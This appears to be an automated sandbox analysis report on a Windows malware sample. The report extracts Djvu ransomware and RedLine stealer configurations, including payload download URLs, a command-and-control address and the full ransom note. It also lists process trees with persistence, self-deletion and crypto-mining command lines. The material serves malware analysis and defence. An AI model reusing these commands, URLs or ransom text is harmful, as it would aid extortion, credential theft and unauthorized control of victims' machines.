Analysis
- max time kernel
146s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
04/11/2022, 12:31
General
- Target file.exe
- Size 292KB
- Sample221104-pp2emshbep
- SHA256 26bcf2dcbd9800e096f9c4bb4613c978a33ecbfc1b5e732560fd99fc78db9bd6
Malware Config
Extracted
-
djvu
-
http://fresherlights.com/lancer/get.php
-
extension
.bozq
-
offline_id
oHp5e4SJxdFtxfvKYmeX06F4C5cn0EcsF5Ak9Wt1
-
payload_url
http://uaery.top/dl/build2.exe
http://fresherlights.com/files/1/build3.exe
-
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-dyi5UcwIT9 Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0597Jhyjd
Extracted
-
redline
-
Google2
-
167.235.71.14:20469
-
auth_value
fb274d9691235ba015830da570a13578
Signatures
- Detected Djvu ransomware 10 IoCs
- Detects Smokeloader packer 2 IoCs
- Djvu Ransomware
Ransomware which is a variant of the STOP family.
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 1 IoCs
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Downloads MZ/PE file
- Executes dropped EXE 14 IoCs
- Checks computer location settings 2 TTPs 5 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 5 IoCs
- Modifies file permissions 1 TTPs 1 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Uses the VBS compiler for execution 1 TTPs
- Accesses 2FA software files, possible credential harvesting 2 TTPs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 5 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: MapViewOfSection 6 IoCs
- Suspicious use of AdjustPrivilegeToken 60 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\D093.exeC:\Users\Admin\AppData\Local\Temp\D093.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2516 -s 12602⤵
- Program crash
-
-
C:\Users\Admin\AppData\Local\Temp\D324.exeC:\Users\Admin\AppData\Local\Temp\D324.exe1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\system32\regsvr32.exeregsvr32 /s C:\Users\Admin\AppData\Local\Temp\D5E5.dll1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\regsvr32.exe/s C:\Users\Admin\AppData\Local\Temp\D5E5.dll2⤵
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\D7AB.exeC:\Users\Admin\AppData\Local\Temp\D7AB.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\D7AB.exeC:\Users\Admin\AppData\Local\Temp\D7AB.exe2⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\6c78a441-3d5b-43ae-9c22-577052b21dff" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
-
-
C:\Users\Admin\AppData\Local\Temp\D7AB.exe"C:\Users\Admin\AppData\Local\Temp\D7AB.exe" --Admin IsNotAutoStart IsNotTask3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\D7AB.exe"C:\Users\Admin\AppData\Local\Temp\D7AB.exe" --Admin IsNotAutoStart IsNotTask4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\281bdd6a-bfec-4908-bec6-616824c136e9\build2.exe"C:\Users\Admin\AppData\Local\281bdd6a-bfec-4908-bec6-616824c136e9\build2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\281bdd6a-bfec-4908-bec6-616824c136e9\build2.exe"C:\Users\Admin\AppData\Local\281bdd6a-bfec-4908-bec6-616824c136e9\build2.exe"6⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\281bdd6a-bfec-4908-bec6-616824c136e9\build2.exe" & exit7⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
-
-
-
-
C:\Users\Admin\AppData\Local\281bdd6a-bfec-4908-bec6-616824c136e9\build3.exe"C:\Users\Admin\AppData\Local\281bdd6a-bfec-4908-bec6-616824c136e9\build3.exe"5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"6⤵
- Creates scheduled task(s)
-
-
-
-
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2516 -ip 25161⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"2⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Local\Temp\D303.exeC:\Users\Admin\AppData\Local\Temp\D303.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\F7F2.exeC:\Users\Admin\AppData\Local\Temp\F7F2.exe1⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\CsEKSsCbCSUHsBFKUscCEESFBsSFkFUHCCUBfbUSAHShSSfKSchFBse.exe"C:\Users\Admin\AppData\Roaming\CsEKSsCbCSUHsBFKUscCEESFBsSFkFUHCCUBfbUSAHShSSfKSchFBse.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpFCCF.tmp.bat""3⤵
-
C:\Windows\system32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
-
-
C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"6⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RKsS6XcgidDNc8rU38Yiv5STQutyMUu9A4.installs001 -p x -t 65⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls6⤵
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
LYKAA.exe
LYKAA.exe
mozglue.dll
nss3.dll
sqlite3.dll
07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
build2.exe
build2.exe
build2.exe
build3.exe
build3.exe
D7AB.exe
D093.exe
D093.exe
D303.exe
D303.exe
D324.exe
D324.exe
D5E5.dll
D5E5.dll
D5E5.dll
D7AB.exe
D7AB.exe
D7AB.exe
D7AB.exe
D7AB.exe
F7F2.exe
F7F2.exe
tmpFCCF.tmp.bat
CsEKSsCbCSUHsBFKUscCEESFBsSFkFUHCCUBfbUSAHShSSfKSchFBse.exe
CsEKSsCbCSUHsBFKUscCEESFBsSFkFUHCCUBfbUSAHShSSfKSchFBse.exe
mstsca.exe
mstsca.exe
memory/1020-150-0x0000000002460000-0x00000000025CE000-memory.dmp
memory/1020-166-0x0000000002930000-0x0000000002A50000-memory.dmp
memory/1020-165-0x00000000026F0000-0x0000000002810000-memory.dmp
memory/1020-182-0x0000000002B20000-0x0000000002BD5000-memory.dmp
memory/1020-180-0x0000000002B20000-0x0000000002BD5000-memory.dmp
memory/1020-169-0x0000000002A50000-0x0000000002B19000-memory.dmp
memory/1020-185-0x0000000002930000-0x0000000002A50000-memory.dmp
memory/1168-159-0x0000000000B70000-0x0000000000B7C000-memory.dmp
memory/2084-198-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2084-196-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2084-225-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2084-194-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2416-267-0x0000000008ED0000-0x0000000008EE0000-memory.dmp
memory/2416-274-0x0000000008ED0000-0x0000000008EE0000-memory.dmp
memory/2416-290-0x0000000009390000-0x00000000093A0000-memory.dmp
memory/2416-266-0x0000000008EE0000-0x0000000008EF0000-memory.dmp
memory/2416-268-0x0000000008ED0000-0x0000000008EE0000-memory.dmp
memory/2416-281-0x0000000009390000-0x00000000093A0000-memory.dmp
memory/2416-282-0x0000000009390000-0x00000000093A0000-memory.dmp
memory/2416-280-0x0000000009390000-0x00000000093A0000-memory.dmp
memory/2416-269-0x0000000008ED0000-0x0000000008EE0000-memory.dmp
memory/2416-270-0x0000000008ED0000-0x0000000008EE0000-memory.dmp
memory/2416-271-0x0000000008ED0000-0x0000000008EE0000-memory.dmp
memory/2416-279-0x0000000008ED0000-0x0000000008EE0000-memory.dmp
memory/2416-278-0x0000000008ED0000-0x0000000008EE0000-memory.dmp
memory/2416-265-0x0000000008ED0000-0x0000000008EE0000-memory.dmp
memory/2416-272-0x0000000008ED0000-0x0000000008EE0000-memory.dmp
memory/2416-273-0x0000000008ED0000-0x0000000008EE0000-memory.dmp
memory/2416-277-0x0000000008ED0000-0x0000000008EE0000-memory.dmp
memory/2416-276-0x0000000008ED0000-0x0000000008EE0000-memory.dmp
memory/2416-275-0x0000000008ED0000-0x0000000008EE0000-memory.dmp
memory/2416-262-0x0000000008ED0000-0x0000000008EE0000-memory.dmp
memory/2416-261-0x0000000008ED0000-0x0000000008EE0000-memory.dmp
memory/2416-260-0x0000000008ED0000-0x0000000008EE0000-memory.dmp
memory/2488-167-0x0000000002D80000-0x0000000002D89000-memory.dmp
memory/2488-179-0x0000000002F99000-0x0000000002FAF000-memory.dmp
memory/2488-186-0x0000000000400000-0x0000000002C37000-memory.dmp
memory/2488-168-0x0000000000400000-0x0000000002C37000-memory.dmp
memory/2516-160-0x0000000007B60000-0x0000000008178000-memory.dmp
memory/2516-208-0x0000000002F99000-0x0000000002FCA000-memory.dmp
memory/2516-162-0x0000000007AB0000-0x0000000007AC2000-memory.dmp
memory/2516-161-0x0000000007980000-0x0000000007A8A000-memory.dmp
memory/2516-197-0x0000000002F99000-0x0000000002FCA000-memory.dmp
memory/2516-155-0x0000000007260000-0x00000000072F2000-memory.dmp
memory/2516-156-0x0000000000400000-0x0000000002C53000-memory.dmp
memory/2516-204-0x0000000009DA0000-0x000000000A2CC000-memory.dmp
memory/2516-154-0x0000000007390000-0x0000000007934000-memory.dmp
memory/2516-203-0x0000000009BD0000-0x0000000009D92000-memory.dmp
memory/2516-209-0x0000000000400000-0x0000000002C53000-memory.dmp
memory/2516-153-0x0000000002EB0000-0x0000000002EEE000-memory.dmp
memory/2516-190-0x00000000083F0000-0x0000000008456000-memory.dmp
memory/2516-152-0x0000000002F99000-0x0000000002FCA000-memory.dmp
memory/2516-163-0x0000000007AD0000-0x0000000007B0C000-memory.dmp
memory/2804-236-0x0000000000800000-0x0000000000828000-memory.dmp
memory/3524-249-0x00007FFAA2510000-0x00007FFAA2FD1000-memory.dmp
memory/3524-244-0x0000000000750000-0x0000000000870000-memory.dmp
memory/3524-263-0x00007FFAA2510000-0x00007FFAA2FD1000-memory.dmp
memory/3856-248-0x0000000000D10000-0x0000000000DE6000-memory.dmp
memory/3856-253-0x00007FFAA2510000-0x00007FFAA2FD1000-memory.dmp
memory/4000-170-0x0000000000F70000-0x0000000000FDB000-memory.dmp
memory/4000-164-0x0000000001200000-0x0000000001275000-memory.dmp
memory/4000-157-0x0000000000F70000-0x0000000000FDB000-memory.dmp
memory/4204-195-0x000000000479A000-0x000000000482C000-memory.dmp
memory/4232-172-0x0000000000400000-0x0000000000537000-memory.dmp
memory/4232-174-0x0000000000400000-0x0000000000537000-memory.dmp
memory/4232-176-0x0000000000400000-0x0000000000537000-memory.dmp
memory/4232-178-0x0000000000400000-0x0000000000537000-memory.dmp
memory/4232-189-0x0000000000400000-0x0000000000537000-memory.dmp
memory/4656-230-0x0000000000400000-0x000000000046E000-memory.dmp
memory/4656-213-0x0000000000400000-0x000000000046E000-memory.dmp
memory/4656-216-0x0000000000400000-0x000000000046E000-memory.dmp
memory/4656-211-0x0000000000400000-0x000000000046E000-memory.dmp
memory/4656-221-0x0000000000400000-0x000000000046E000-memory.dmp
memory/4740-175-0x00000000047DA000-0x000000000486C000-memory.dmp
memory/4740-177-0x00000000049A0000-0x0000000004ABB000-memory.dmp
memory/4804-214-0x00000000007B8000-0x00000000007E5000-memory.dmp
memory/4804-215-0x0000000000740000-0x0000000000799000-memory.dmp
memory/4904-132-0x0000000002C99000-0x0000000002CAF000-memory.dmp
memory/4904-133-0x0000000004830000-0x0000000004839000-memory.dmp
memory/4904-135-0x0000000000400000-0x0000000002C37000-memory.dmp
memory/4904-134-0x0000000000400000-0x0000000002C37000-memory.dmp
memory/4916-283-0x0000000140000000-0x00000001400C6000-memory.dmp
memory/4916-285-0x0000000140000000-0x00000001400C6000-memory.dmp
memory/4916-286-0x0000000140000000-0x00000001400C6000-memory.dmp
memory/4916-289-0x0000000140000000-0x00000001400C6000-memory.dmp
memory/4916-291-0x0000000140000000-0x00000001400C6000-memory.dmp
memory/4948-288-0x00007FFAA2510000-0x00007FFAA2FD1000-memory.dmp
memory/4948-259-0x00007FFAA2510000-0x00007FFAA2FD1000-memory.dmp